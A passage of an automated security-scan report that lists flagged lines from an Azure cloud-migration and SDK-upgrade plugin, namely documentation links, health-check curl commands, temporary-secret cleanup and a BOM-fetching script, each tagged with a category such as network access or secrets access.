> "The Azure MCP server is not configured. To enable live cluster assessment, install it following [aka.ms/azure-mcp-setup](https://aka.ms/azure-mcp-setup). For now, I can validate your local manifests offline — export them with `kubectl ge - Network accessline 199
| Error | Cause | Fix | |---|---|---| | `tool not found: mcp_azure_mcp_aks` | Azure MCP server not configured | Guide user to install: [aka.ms/azure-mcp-setup](https://aka.ms/azure-mcp-setup), then fall back to offline | - Network accessline 200
|---|---|---| | `tool not found: mcp_azure_mcp_aks` | Azure MCP server not configured | Guide user to install: [aka.ms/azure-mcp-setup](https://aka.ms/azure-mcp-setup), then fall back to offline | | `HTTP 401 Unauthorized` | Not logged in | - Network accessline 201
| `tool not found: mcp_azure_mcp_aks` | Azure MCP server not configured | Guide user to install: [aka.ms/azure-mcp-setup](https://aka.ms/azure-mcp-setup), then fall back to offline |
harness/claude-code/plugins/azure-kubernetes-development/skills/azure-kubernetes/SKILL.md
- Network accessline 76
- **Azure CNI Overlay** (recommended): pod IPs from private overlay range, not VNet-routable, scales to large environments and good for most workloads - **Azure CNI (VNet-routable)**: pod IPs directly from VNet (pod subnet or node subnet), - Network accessline 78
- Docs: https://learn.microsoft.com/azure/aks/azure-cni-overlay
harness/claude-code/plugins/azure-modernization/.claude-plugin/plugin.json
- Network accessline 6
"name": "paulasilvatech" }, "repository": "https://github.com/paulasilvatech/copilot-primitives", - Network accessline 7
}, "repository": "https://github.com/paulasilvatech/copilot-primitives", "license": "MIT", - Network accessline 8
"repository": "https://github.com/paulasilvatech/copilot-primitives",
harness/claude-code/plugins/azure-modernization/skills/azure-cloud-migrate/SKILL.md
- Network accessline 36
6. Destructive actions require `ask_user` — [functions global-rules](references/services/functions/global-rules.md) | [app-service global-rules](references/services/app-service/global-rules.md) 7. **Report progress to user** — During long-r - Network accessline 38
8. **Audit service discovery in app code** — Kubernetes DNS names (e.g., `http://order-service:3001`) do not resolve in Container Apps. During assessment, scan source code for hardcoded hostnames/ports in HTTP clients and flag them for env-
harness/claude-code/plugins/azure-modernization/skills/azure-cloud-migrate/references/services/app-service/app-engine-to-app-service.md
- Network accessline 180
- [GCP to Azure services comparison](https://learn.microsoft.com/en-us/azure/architecture/gcp-professional/) - Network accessline 181
- [App Service overview](https://learn.microsoft.com/en-us/azure/app-service/overview) - Network accessline 182
- [Cosmos DB migration options](https://learn.microsoft.com/en-us/azure/cosmos-db/migration-choices) - Network accessline 183
- [App Service deployment slots](https://learn.microsoft.com/en-us/azure/app-service/deploy-staging-slots)
harness/claude-code/plugins/azure-modernization/skills/azure-cloud-migrate/references/services/app-service/beanstalk-to-app-service.md
- Network accessline 165
- [AWS to Azure services comparison](https://learn.microsoft.com/en-us/azure/architecture/aws-professional/) - Network accessline 166
- [App Service overview](https://learn.microsoft.com/en-us/azure/app-service/overview) - Network accessline 167
- [App Service autoscale](https://learn.microsoft.com/en-us/azure/azure-monitor/autoscale/autoscale-get-started) - Network accessline 168
- [Azure Database Migration Service](https://learn.microsoft.com/en-us/azure/dms/dms-overview)
harness/claude-code/plugins/azure-modernization/skills/azure-cloud-migrate/references/services/app-service/code-migration.md
harness/claude-code/plugins/azure-modernization/skills/azure-cloud-migrate/references/services/app-service/global-rules.md
- Network accessline 25
- Always use `mcp_azure_mcp_get_azure_bestpractices` tool before generating Azure code - Prefer managed identity over connection strings or API keys - **Always use the latest supported runtime stack** — see the App Service [language overvie - Network accessline 26
- Prefer managed identity over connection strings or API keys - **Always use the latest supported runtime stack** — see the App Service [language overview](https://learn.microsoft.com/azure/app-service/overview-supported-languages) for the - Network accessline 27
- **Always use the latest supported runtime stack** — see the App Service [language overview](https://learn.microsoft.com/azure/app-service/overview-supported-languages) for the supported stacks page per language
harness/claude-code/plugins/azure-modernization/skills/azure-cloud-migrate/references/services/app-service/heroku-to-app-service.md
- Network accessline 32
| Heroku Dyno Type | App Service Plan | Notes | |-------------------|------------------|-------| | Free / Eco | Free (F1) | Dev/test only — F1 has shared compute with quota limits (CPU minutes), not equivalent to Heroku's 60 min/day cap. Se - Network accessline 33
|-------------------|------------------|-------| | Free / Eco | Free (F1) | Dev/test only — F1 has shared compute with quota limits (CPU minutes), not equivalent to Heroku's 60 min/day cap. See [App Service Free SKU limits](https://learn.mi - Network accessline 34
| Free / Eco | Free (F1) | Dev/test only — F1 has shared compute with quota limits (CPU minutes), not equivalent to Heroku's 60 min/day cap. See [App Service Free SKU limits](https://learn.microsoft.com/azure/app-service/overview-hosting-pl - Access to secretsline 87
[Credential-related source omitted] - Network accessline 158
- [Heroku to Azure migration guide](https://learn.microsoft.com/en-us/azure/app-service/overview) - Network accessline 159
- [App Service deployment slots](https://learn.microsoft.com/en-us/azure/app-service/deploy-staging-slots) - Network accessline 160
- [GitHub Actions for App Service](https://learn.microsoft.com/en-us/azure/app-service/deploy-github-actions) - Network accessline 161
- [App Service managed identity](https://learn.microsoft.com/en-us/azure/app-service/overview-managed-identity)
harness/claude-code/plugins/azure-modernization/skills/azure-cloud-migrate/references/services/container-apps/cloudrun-deployment-guide.md
- Access to secretsline 56
[Credential-related source omitted] - Access to secretsline 57
[Credential-related source omitted] - Access to secretsline 80
[Credential-related source omitted] - Access to secretsline 81
[Credential-related source omitted] - Network accessline 193
FQDN=$(az containerapp show --name <app-name> -g "$RG" --query properties.configuration.ingress.fqdn -o tsv) curl -I "https://$FQDN/health" - Network accessline 194
curl -I "https://$FQDN/health" - Network accessline 201
$app = az containerapp show --name <app-name> -g $RG | ConvertFrom-Json Invoke-WebRequest -Uri "https://$($app.properties.configuration.ingress.fqdn)/health" - Network accessline 202
Invoke-WebRequest -Uri "https://$($app.properties.configuration.ingress.fqdn)/health"
harness/claude-code/plugins/azure-modernization/skills/azure-cloud-migrate/references/services/container-apps/deployment-guide.md
- Access to secretsline 65
[Credential-related source omitted] - Access to secretsline 74
[Credential-related source omitted] - Access to secretsline 75
[Credential-related source omitted] - Possible obfuscationline 111
$decodedSecretValue = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($secretValue)) - Network accessline 127
> ⚠<U+FE0F> **Warning: Service Discovery Changes** — In Kubernetes, pods reach other services by short DNS name (e.g., `http://order-service:3001`). In Container Apps, internal services use HTTPS FQDNs (e.g., `https://order-service.internal.<env-d - Network accessline 157
# Get app FQDN and test FQDN=$(az containerapp show --name my-app --resource-group myapp-rg --query properties.configuration.ingress.fqdn -o tsv) echo "App URL: https://$FQDN" - Network accessline 158
FQDN=$(az containerapp show --name my-app --resource-group myapp-rg --query properties.configuration.ingress.fqdn -o tsv) echo "App URL: https://$FQDN" curl https://$FQDN/health - Network accessline 159
echo "App URL: https://$FQDN" - Network accessline 160
curl https://$FQDN/health - Network accessline 167
$FQDN = az containerapp show --name my-app --resource-group myapp-rg --query properties.configuration.ingress.fqdn -o tsv Write-Host "App URL: https://$FQDN" - Network accessline 168
Write-Host "App URL: https://$FQDN" - Network accessline 169
Invoke-WebRequest -Uri "https://$FQDN/health" -Method Head - Network accessline 185
| SecretRef not found | `--env-vars KEY=secretref:name` requires `--secrets name=value` (or keyvaultref) in the **same** `az containerapp create` command | | ARM deployment locks | If a Bicep deployment is stuck with Container Apps InProgre - Network accessline 187
| Service-to-service timeout | Kubernetes DNS names (`http://svc:port`) don't work in ACA. Ensure app code reads `ORDER_SERVICE_URL` (or equivalent) env var pointing to the internal FQDN |
harness/claude-code/plugins/azure-modernization/skills/azure-cloud-migrate/references/services/container-apps/fargate-deployment-guide.md
- Access to secretsline 45
[Credential-related source omitted] - Access to secretsline 46
[Credential-related source omitted] - Dangerous shell operationline 113
trap 'rm -f "$secret_file"' EXIT - Dangerous shell operationline 118
rm -f "$secret_file" - Network accessline 197
set -euo pipefail FQDN=$(az containerapp show --name <app-name> -g "$RG" --query properties.configuration.ingress.fqdn -o tsv) curl -f -I "https://$FQDN/health" || { echo "Health check failed"; exit 1; } - Network accessline 198
FQDN=$(az containerapp show --name <app-name> -g "$RG" --query properties.configuration.ingress.fqdn -o tsv) curl -f -I "https://$FQDN/health" || { echo "Health check failed"; exit 1; } az containerapp logs show --name <app-name> -g "$RG" - - Network accessline 199
curl -f -I "https://$FQDN/health" || { echo "Health check failed"; exit 1; } - Network accessline 204
$ErrorActionPreference = 'Stop' $fqdn = az containerapp show --name <app-name> -g $env:RG --query properties.configuration.ingress.fqdn -o tsv Invoke-WebRequest -Uri "https://$fqdn/health" -Method Head - Network accessline 205
$fqdn = az containerapp show --name <app-name> -g $env:RG --query properties.configuration.ingress.fqdn -o tsv Invoke-WebRequest -Uri "https://$fqdn/health" -Method Head az containerapp logs show --name <app-name> -g $env:RG --tail 100 - Network accessline 206
Invoke-WebRequest -Uri "https://$fqdn/health" -Method Head
harness/claude-code/plugins/azure-modernization/skills/azure-cloud-migrate/references/services/container-apps/fargate-to-container-apps.md
- Network accessline 67
- [Azure Container Apps overview](https://learn.microsoft.com/azure/container-apps/overview) - Network accessline 68
- [AWS to Azure services comparison](https://learn.microsoft.com/azure/architecture/aws-professional/services) - Network accessline 69
- [Container Apps scaling](https://learn.microsoft.com/azure/container-apps/scale-app) - Network accessline 70
- [Container Apps managed identity](https://learn.microsoft.com/azure/container-apps/managed-identity)
harness/claude-code/plugins/azure-modernization/skills/azure-cloud-migrate/references/services/container-apps/spring-assessment-guide.md
- Network accessline 33
### Spring Boot Version Requirements - **Recommended target**: Spring Boot 3.x (requires Java 17+) - **Supported source**: Spring Boot 2.x on Java 8/11 → plan upgrade to Java 17+ and follow [Spring Boot 3.0 Migration Guide](https://github.c - Network accessline 35
- **Supported source**: Spring Boot 2.x on Java 8/11 → plan upgrade to Java 17+ and follow [Spring Boot 3.0 Migration Guide](https://github.com/spring-projects/spring-boot/wiki/Spring-Boot-3.0-Migration-Guide) - Network accessline 37
### Spring Cloud Compatibility - Verify Spring Cloud version matches Spring Boot 3.x requirements - See [Spring Cloud versions](https://spring.io/projects/spring-cloud#overview) - Network accessline 39
- See [Spring Cloud versions](https://spring.io/projects/spring-cloud#overview)
harness/claude-code/plugins/azure-modernization/skills/azure-cloud-migrate/references/services/container-apps/spring-deployment-guide.md
- Access to secretsline 13
[Credential-related source omitted] - Access to secretsline 21
[Credential-related source omitted] - Access to secretsline 22
[Credential-related source omitted] - Access to secretsline 70
[Credential-related source omitted] - Access to secretsline 71
[Credential-related source omitted] - Access to secretsline 72
[Credential-related source omitted] - Access to secretsline 80
[Credential-related source omitted] - Access to secretsline 81
[Credential-related source omitted] - Access to secretsline 82
[Credential-related source omitted] - Access to secretsline 83
[Credential-related source omitted] - Dangerous shell operationline 102
trap 'shred -u "$SECRET_FILE" 2>/dev/null || rm -f "$SECRET_FILE"' EXIT - Network accessline 236
FQDN=$(az containerapp show --name spring-app --resource-group spring-rg --query properties.configuration.ingress.fqdn -o tsv) echo "Application URL: https://${FQDN}" curl "https://${FQDN}/actuator/health" - Network accessline 237
echo "Application URL: https://${FQDN}" curl "https://${FQDN}/actuator/health" az containerapp logs show --name spring-app --resource-group spring-rg --tail 50 - Network accessline 238
curl "https://${FQDN}/actuator/health" - Network accessline 244
$FQDN = az containerapp show --name spring-app --resource-group spring-rg --query properties.configuration.ingress.fqdn -o tsv Write-Host "Application URL: https://${FQDN}" - Network accessline 245
Write-Host "Application URL: https://${FQDN}" - Network accessline 246
Invoke-WebRequest "https://${FQDN}/actuator/health" - Network accessline 256
az containerapp env java-component config-server-for-spring create --environment spring-env --resource-group spring-rg --name config-server --min-replicas 1 --max-replicas 1 --configuration spring.cloud.config.server.git.uri=https: - Network accessline 257
--environment spring-env --resource-group spring-rg --name config-server \ --min-replicas 1 --max-replicas 1 \ --configuration spring.cloud.config.server.git.uri=https://github.com/your-org/config-repo - Network accessline 258
--min-replicas 1 --max-replicas 1 \ --configuration spring.cloud.config.server.git.uri=https://github.com/your-org/config-repo az containerapp update --name spring-app --resource-group spring-rg --bind config-server - Network accessline 259
--configuration spring.cloud.config.server.git.uri=https://github.com/your-org/config-repo - Network accessline 265
az containerapp env java-component config-server-for-spring create --environment spring-env --resource-group spring-rg --name config-server --min-replicas 1 --max-replicas 1 --configuration spring.cloud.config.server.git.uri=https: - Network accessline 266
--environment spring-env --resource-group spring-rg --name config-server ` --min-replicas 1 --max-replicas 1 ` --configuration spring.cloud.config.server.git.uri=https://github.com/your-org/config-repo - Network accessline 267
--min-replicas 1 --max-replicas 1 ` --configuration spring.cloud.config.server.git.uri=https://github.com/your-org/config-repo az containerapp update --name spring-app --resource-group spring-rg --bind config-server - Network accessline 268
--configuration spring.cloud.config.server.git.uri=https://github.com/your-org/config-repo
harness/claude-code/plugins/azure-modernization/skills/azure-cloud-migrate/references/services/functions/code-migration.md
- Network accessline 16
- Use latest programming model (v4 for JavaScript, v2 for Python) - **Always use bindings and triggers instead of SDKs** — For blob read/write, use `input.storageBlob()` / `output.storageBlob()` with `extraInputs`/`extraOutputs`. For queues - Network accessline 18
- **Always use the latest supported language runtime** — Consult [supported languages](https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages) and select the newest GA version. Do NOT default to an older LTS version whe
harness/claude-code/plugins/azure-modernization/skills/azure-cloud-migrate/references/services/functions/global-rules.md
- Network accessline 24
- Always use `mcp_azure_mcp_get_azure_bestpractices` tool before generating Azure code - Prefer managed identity over connection strings - **Always use the latest supported language runtime** — check [supported languages](https://learn.micr - Network accessline 25
- Prefer managed identity over connection strings - **Always use the latest supported language runtime** — check [supported languages](https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages) for the newest GA version. N - Network accessline 26
- **Always use the latest supported language runtime** — check [supported languages](https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages) for the newest GA version. Never default to older versions
harness/claude-code/plugins/azure-modernization/skills/azure-cloud-migrate/references/services/functions/lambda-to-functions.md
- Access to secretsline 90
[Credential-related source omitted] - Network accessline 95
- [AWS Lambda vs Azure Functions comparison](https://aka.ms/AWSLambda) - Network accessline 96
- [AWS to Azure services comparison](https://learn.microsoft.com/en-us/azure/architecture/aws-professional/) - Network accessline 97
- [Supported language runtimes](https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages) - Network accessline 98
- [Triggers and bindings overview](https://learn.microsoft.com/en-us/azure/azure-functions/functions-triggers-bindings) - Network accessline 99
- [Functions quickstart JS (azd)](https://github.com/Azure-Samples/functions-quickstart-javascript-azd/tree/main/infra) - Network accessline 100
- [Functions quickstart .NET Event Grid (azd)](https://github.com/Azure-Samples/functions-quickstart-dotnet-azd-eventgrid-blob/tree/main/infra) - Network accessline 172
properties: { // ARM resolves system key and handles validation at deployment time endpointUrl: 'https://${functionApp.properties.defaultHostName}/runtime/webhooks/blobs?functionName=${functionName}&code=${listKeys('${functi - Network accessline 173
// ARM resolves system key and handles validation at deployment time endpointUrl: 'https://${functionApp.properties.defaultHostName}/runtime/webhooks/blobs?functionName=${functionName}&code=${listKeys('${functionApp.id}/host/default - Network accessline 174
endpointUrl: 'https://${functionApp.properties.defaultHostName}/runtime/webhooks/blobs?functionName=${functionName}&code=${listKeys('${functionApp.id}/host/default', '2023-12-01').systemKeys.blobs_extension}'
harness/claude-code/plugins/azure-modernization/skills/azure-cloud-migrate/references/services/functions/runtimes/csharp.md
- Network accessline 225
> Full reference: [Azure Functions C# isolated worker guide](https://learn.microsoft.com/en-us/azure/azure-functions/dotnet-isolated-process-guide)
harness/claude-code/plugins/azure-modernization/skills/azure-cloud-migrate/references/services/functions/runtimes/java.md
- Network accessline 214
> Full reference: [Azure Functions Java developer guide](https://learn.microsoft.com/en-us/azure/azure-functions/functions-reference-java)
harness/claude-code/plugins/azure-modernization/skills/azure-cloud-migrate/references/services/functions/runtimes/javascript.md
- Network accessline 325
> Full reference: [Azure Functions JavaScript developer guide](https://learn.microsoft.com/en-us/azure/azure-functions/functions-reference-node)
harness/claude-code/plugins/azure-modernization/skills/azure-cloud-migrate/references/services/functions/runtimes/powershell.md
- Network accessline 221
> Full reference: [Azure Functions PowerShell developer guide](https://learn.microsoft.com/en-us/azure/azure-functions/functions-reference-powershell)
harness/claude-code/plugins/azure-modernization/skills/azure-cloud-migrate/references/services/functions/runtimes/python.md
harness/claude-code/plugins/azure-modernization/skills/azure-cloud-migrate/references/services/functions/runtimes/typescript.md
- Network accessline 119
> Full reference: [Azure Functions TypeScript developer guide](https://learn.microsoft.com/en-us/azure/azure-functions/functions-reference-node?tabs=typescript)
harness/claude-code/plugins/azure-modernization/skills/azure-upgrade/SKILL.md
- Network accessline 86
- [Automation Scripts](references/services/functions/automation.md) - **Redis** - [Redis (ACR or ACRE) to AMR Migration](references/services/redis/redis-to-amr.md) — routes to dedicated [amr-migration-skill](https://github.com/AzureManage - Network accessline 87
- **Redis** - [Redis (ACR or ACRE) to AMR Migration](references/services/redis/redis-to-amr.md) — routes to dedicated [amr-migration-skill](https://github.com/AzureManagedRedis/amr-migration-skill) (ACR/OSS) or [acre-to-amr-migration-skil - Network accessline 88
- [Redis (ACR or ACRE) to AMR Migration](references/services/redis/redis-to-amr.md) — routes to dedicated [amr-migration-skill](https://github.com/AzureManagedRedis/amr-migration-skill) (ACR/OSS) or [acre-to-amr-migration-skill](https://git
harness/claude-code/plugins/azure-modernization/skills/azure-upgrade/references/languages/java/INSTRUCTION.md
- Network accessline 102
- If azure-sdk-bom is used, ensure the BOM version exactly matches the resolved latest stable version recorded in the plan's `Guidelines` section as `TARGET_AZURE_SDK_BOM_VERSION` and there are **NO** explicit version dependencies for Azure - Network accessline 103
E.g. Instead of `implementation 'com.azure.resourcemanager:azure-resourcemanager:2.60.0'`, we should use `implementation 'com.azure.resourcemanager:azure-resourcemanager'`. For Azure libraries in azure-sdk-bom, check https://raw.githubuse - Network accessline 104
For Azure libraries in azure-sdk-bom, check https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/boms/azure-sdk-bom/pom.xml. - Network accessline 115
- [Migrate to `com.azure.resourcemanager.**` from `com.microsoft.azure.management.**`](https://aka.ms/java-track2-migration-guide) - Network accessline 116
- [Migrate to com.azure:azure-messaging-servicebus from com.microsoft.azure:azure-servicebus](https://aka.ms/azsdk/java/migrate/sb) - Network accessline 117
- [Migrate to azure-messaging-eventhubs from azure-eventhubs and azure-eventhubs-eph](https://aka.ms/azsdk/java/migrate/eh) - Network accessline 118
- [Migrate to `azure-messaging-eventgrid` from `microsoft-azure-eventgrid`](https://aka.ms/azsdk/java/migrate/eg) - Network accessline 119
- [Storage Blob Service SDK Migration Guide from 8.x to 12.x](https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/storage/azure-storage-blob/migrationGuides/V8_V12.md) - Network accessline 120
- [Storage Blob Service SDK Migration Guide from 10.x/11.x to 12.x](https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/storage/azure-storage-blob/migrationGuides/V10_V12.md) - Network accessline 121
- [Storage Queue Service SDK Migration Guide from 8.x to 12.x](https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/storage/azure-storage-queue/migrationGuides/V8_V12.md) - Network accessline 122
- [Storage File Share Service SDK Migration Guide from 8.x to 12.x](https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/storage/azure-storage-file-share/migrationGuides/V8_V12.md) - Network accessline 123
- [Migrate to azure-security-keyvault-secrets from azure-keyvault](https://aka.ms/azsdk/java/migrate/kv-secrets) - Network accessline 124
- [Migrate to azure-security-keyvault-keys from azure-keyvault](https://aka.ms/azsdk/java/migrate/kv-keys) - Network accessline 125
- [Migrate to azure-security-keyvault-certificates from azure-keyvault](https://aka.ms/azsdk/java/migrate/kv-cert) - Network accessline 126
- [Migrate to `Azure-Compute-Batch` from `Microsoft-Azure-Batch`](https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/batch/azure-compute-batch/MigrationGuide.md) - Network accessline 127
- [Migrate to `azure-ai-documentintelligence` from `azure-ai-formrecognizer`](https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/documentintelligence/azure-ai-documentintelligence/MIGRATION_GUIDE.md) - Network accessline 128
- [Migrate to `azure-ai-formrecognizer 4.0.0-beta.1 - above` from `azure-ai-formrecognizer 3.1.x - lower`](https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/formrecognizer/azure-ai-formrecognizer/migration-guide.md) - Network accessline 129
- [Migration Guide from Azure OpenAI Java SDK to OpenAI Java SDK](https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/openai/azure-ai-openai-stainless/MIGRATION.md) - Network accessline 130
- [Migrate to azure-monitor-query from azure-loganalytics and azure-applicationinsights-query](https://aka.ms/azsdk/java/migrate/monitorquery)
harness/claude-code/plugins/azure-modernization/skills/azure-upgrade/references/languages/java/bom-migration/bom-gradle-settings.md
- Network accessline 3
Some projects define version catalogs programmatically in `settings.gradle` / `settings.gradle.kts` instead of using a TOML file. OpenRewrite does not support this either ([openrewrite/rewrite#4852](https://github.com/openrewrite/rewrite/is
harness/claude-code/plugins/azure-modernization/skills/azure-upgrade/references/languages/java/bom-migration/bom-gradle-toml.md
- Network accessline 3
OpenRewrite does not yet support TOML version catalogs ([openrewrite/rewrite#4400](https://github.com/openrewrite/rewrite/issues/4400)). Handle manually.
harness/claude-code/plugins/azure-modernization/skills/azure-upgrade/references/languages/java/bom-migration/bom-gradle.md
- Network accessline 24
Under the hood (OpenRewrite recipes): - **Add BOM**: `AddPlatformDependency` ([docs](https://docs.openrewrite.org/recipes/gradle/addplatformdependency)) - Network accessline 25
- **Add BOM**: `AddPlatformDependency` ([docs](https://docs.openrewrite.org/recipes/gradle/addplatformdependency)) - Network accessline 26
- **Upgrade BOM**: `UpgradeDependencyVersion` ([docs](https://docs.openrewrite.org/recipes/gradle/upgradedependencyversion)) - Network accessline 27
- **Remove redundant versions**: `RemoveRedundantDependencyVersions` ([docs](https://docs.openrewrite.org/recipes/gradle/removeredundantdependencyversions)) - Network accessline 84
For every Azure dependency whose group starts with `com.azure` and is managed by the BOM (verify against `https://repo1.maven.org/maven2/com/azure/azure-sdk-bom/{bom_version}/azure-sdk-bom-{bom_version}.pom`), strip the version coordinate.
harness/claude-code/plugins/azure-modernization/skills/azure-upgrade/references/languages/java/bom-migration/bom-maven.md
- Network accessline 24
Under the hood (OpenRewrite recipes): - **Add BOM**: `AddManagedDependency` ([docs](https://docs.openrewrite.org/recipes/maven/addmanageddependency)) - Network accessline 25
- **Add BOM**: `AddManagedDependency` ([docs](https://docs.openrewrite.org/recipes/maven/addmanageddependency)) - Network accessline 26
- **Upgrade BOM**: `UpgradeDependencyVersion` ([docs](https://docs.openrewrite.org/recipes/maven/upgradedependencyversion)) - Network accessline 27
- **Remove redundant versions**: `RemoveRedundantDependencyVersions` ([docs](https://docs.openrewrite.org/recipes/maven/removeredundantdependencyversions)) - Network accessline 85
For every `<dependency>` whose `<groupId>` starts with `com.azure` (e.g. `com.azure`, `com.azure.resourcemanager`, `com.azure.spring`), check whether the BOM manages it (see the BOM POM at `https://repo1.maven.org/maven2/com/azure/azure-sdk
harness/claude-code/plugins/azure-modernization/skills/azure-upgrade/references/languages/java/bom-migration/bom-migration.md
- Network accessline 39
If Python is not available or the `--get-latest-version` command fails, fetch `https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/boms/azure-sdk-bom/pom.xml` directly and use the `<version>` value declared in that BOM `pom. - Network accessline 57
> 💡 **Tip:** To check which artifacts are managed by the BOM, fetch > `https://repo1.maven.org/maven2/com/azure/azure-sdk-bom/{bom_version}/azure-sdk-bom-{bom_version}.pom` - Network accessline 58
> `https://repo1.maven.org/maven2/com/azure/azure-sdk-bom/{bom_version}/azure-sdk-bom-{bom_version}.pom`
harness/claude-code/plugins/azure-modernization/skills/azure-upgrade/references/languages/java/package-specific/com.microsoft.azure.eventprocessorhost.md
- Network accessline 16
Replace usage of `InMemoryCheckpointManager` / `InMemoryLeaseManager` with [BlobCheckpointStore](https://github.com/Azure/azure-sdk-for-java/blob/main/sdk/eventhubs/azure-messaging-eventhubs-checkpointstore-blob/src/main/java/com/azure/mess
harness/claude-code/plugins/azure-modernization/skills/azure-upgrade/references/languages/java/package-specific/com.microsoft.azure.management.md
- Access to secretsline 61
[Credential-related source omitted]
harness/claude-code/plugins/azure-modernization/skills/azure-upgrade/references/languages/java/scripts/upgrade_bom.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 43
GROUP_ID = "com.azure" ARTIFACT_ID = "azure-sdk-bom" BOM_POM_URL = "https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/boms/azure-sdk-bom/pom.xml" - Network accessline 44
ARTIFACT_ID = "azure-sdk-bom" BOM_POM_URL = "https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/boms/azure-sdk-bom/pom.xml" POM_NAMESPACE = {"m": "http://maven.apache.org/POM/4.0.0"} - Network accessline 45
BOM_POM_URL = "https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/boms/azure-sdk-bom/pom.xml" - Network accessline 46
POM_NAMESPACE = {"m": "http://maven.apache.org/POM/4.0.0"} - Network accessline 80
def _get_latest_bom_version() -> str: try: with urllib.request.urlopen(BOM_POM_URL, timeout=HTTP_TIMEOUT_SECONDS) as response: - Network accessline 81
try: with urllib.request.urlopen(BOM_POM_URL, timeout=HTTP_TIMEOUT_SECONDS) as response: pom_xml = response.read() - Network accessline 82
with urllib.request.urlopen(BOM_POM_URL, timeout=HTTP_TIMEOUT_SECONDS) as response: - Network accessline 167
except ET.ParseError: return False ns = {"m": "http://maven.apache.org/POM/4.0.0"} - Network accessline 168
return False ns = {"m": "http://maven.apache.org/POM/4.0.0"} for dep in tree.findall(".//m:dependencyManagement/m:dependencies/m:dependency", ns): - Network accessline 169
ns = {"m": "http://maven.apache.org/POM/4.0.0"}
harness/claude-code/plugins/azure-modernization/skills/azure-upgrade/references/languages/java/templates/PLAN_TEMPLATE.md
- Network accessline 198
- **Fluent API Changes** - **Challenge**: Method names and builder patterns differ between legacy and modern Azure Resource Manager. - **Strategy**: Follow the migration guide at https://aka.ms/java-track2-migration-guide for meth - Network accessline 199
- **Challenge**: Method names and builder patterns differ between legacy and modern Azure Resource Manager. - **Strategy**: Follow the migration guide at https://aka.ms/java-track2-migration-guide for method-level mappings. --> - Network accessline 200
- **Strategy**: Follow the migration guide at https://aka.ms/java-track2-migration-guide for method-level mappings.
harness/claude-code/plugins/azure-modernization/skills/azure-upgrade/references/languages/java/templates/SUMMARY_TEMPLATE.md
- Network accessline 111
- **Fluent API Changes** - **Issue**: Method names differ between legacy Azure.management and modern azure-resourcemanager. - **Resolution**: Followed migration guide at https://aka.ms/java-track2-migration-guide - Network accessline 112
- **Issue**: Method names differ between legacy Azure.management and modern azure-resourcemanager. - **Resolution**: Followed migration guide at https://aka.ms/java-track2-migration-guide - **Files Changed**: ResourceProvisioner.jav - Network accessline 113
- **Resolution**: Followed migration guide at https://aka.ms/java-track2-migration-guide
harness/claude-code/plugins/azure-modernization/skills/azure-upgrade/references/services/functions/automation.md
- Network accessline 4
> All scripts use `bash` syntax compatible with Azure Cloud Shell. For PowerShell, adapt accordingly. > > **Source docs**: [Linux migration guide](https://learn.microsoft.com/en-us/azure/azure-functions/migration/migrate-plan-consumption-to - Network accessline 6
> **Source docs**: [Linux migration guide](https://learn.microsoft.com/en-us/azure/azure-functions/migration/migrate-plan-consumption-to-flex?pivots=platform-linux) - Network accessline 317
- [Build and deploy with Azure Pipelines](https://learn.microsoft.com/en-us/azure/azure-functions/functions-how-to-azure-devops) - Network accessline 318
- [Build and deploy with GitHub Actions](https://learn.microsoft.com/en-us/azure/azure-functions/functions-how-to-github-actions) - Network accessline 357
HTTP_STATUS=$(curl -s -o /dev/null -w "%{http_code}" "https://$DEFAULT_HOST") - Network accessline 374
# Test an HTTP trigger function curl -s -o /dev/null -w "%{http_code}" "https://$DEFAULT_HOST/api/<FUNCTION_NAME>" - Network accessline 375
curl -s -o /dev/null -w "%{http_code}" "https://$DEFAULT_HOST/api/<FUNCTION_NAME>"
harness/claude-code/plugins/azure-modernization/skills/azure-upgrade/references/services/functions/consumption-to-flex.md
- Network accessline 4
> **Target**: Azure Functions Flex Consumption Plan (FC1/FlexConsumption) > **Platform**: Linux only (Windows support planned for future) > **Docs**: [Linux migration guide](https://learn.microsoft.com/en-us/azure/azure-functions/migration/ - Network accessline 6
> **Docs**: [Linux migration guide](https://learn.microsoft.com/en-us/azure/azure-functions/migration/migrate-plan-consumption-to-flex?pivots=platform-linux) - Network accessline 139
1. **Smoke test** — Get the app’s default hostname via `az functionapp show --query defaultHostName -o tsv`, then hit that URL and confirm it returns a non-error response (HTTP 2xx/4xx, not connection refused or 503). This is the minimum ba - Network accessline 140
2. Verify the app is running on Flex Consumption (`az functionapp show --query sku`) 3. Test HTTP trigger endpoints (e.g. `curl https://<DEFAULT_HOST>/api/<FUNCTION_NAME>`) 4. Capture and compare performance benchmarks - Network accessline 141
3. Test HTTP trigger endpoints (e.g. `curl https://<DEFAULT_HOST>/api/<FUNCTION_NAME>`) - Network accessline 223
- [Flex Consumption plan overview](https://learn.microsoft.com/en-us/azure/azure-functions/flex-consumption-plan) - Network accessline 224
- [How to use the Flex Consumption plan](https://learn.microsoft.com/en-us/azure/azure-functions/flex-consumption-how-to) - Network accessline 225
- [Azure CLI flex-migration commands](https://learn.microsoft.com/en-us/cli/azure/functionapp/flex-migration) (Linux only) - Network accessline 226
- [Flex Consumption IaC samples](https://github.com/Azure-Samples/azure-functions-flex-consumption-samples/tree/main/IaC) - Network accessline 227
- [Flex Consumption plan deprecations](https://learn.microsoft.com/en-us/azure/azure-functions/functions-app-settings#flex-consumption-plan-deprecations)
harness/claude-code/plugins/azure-modernization/skills/azure-upgrade/references/services/redis/redis-to-amr.md
- Network accessline 10
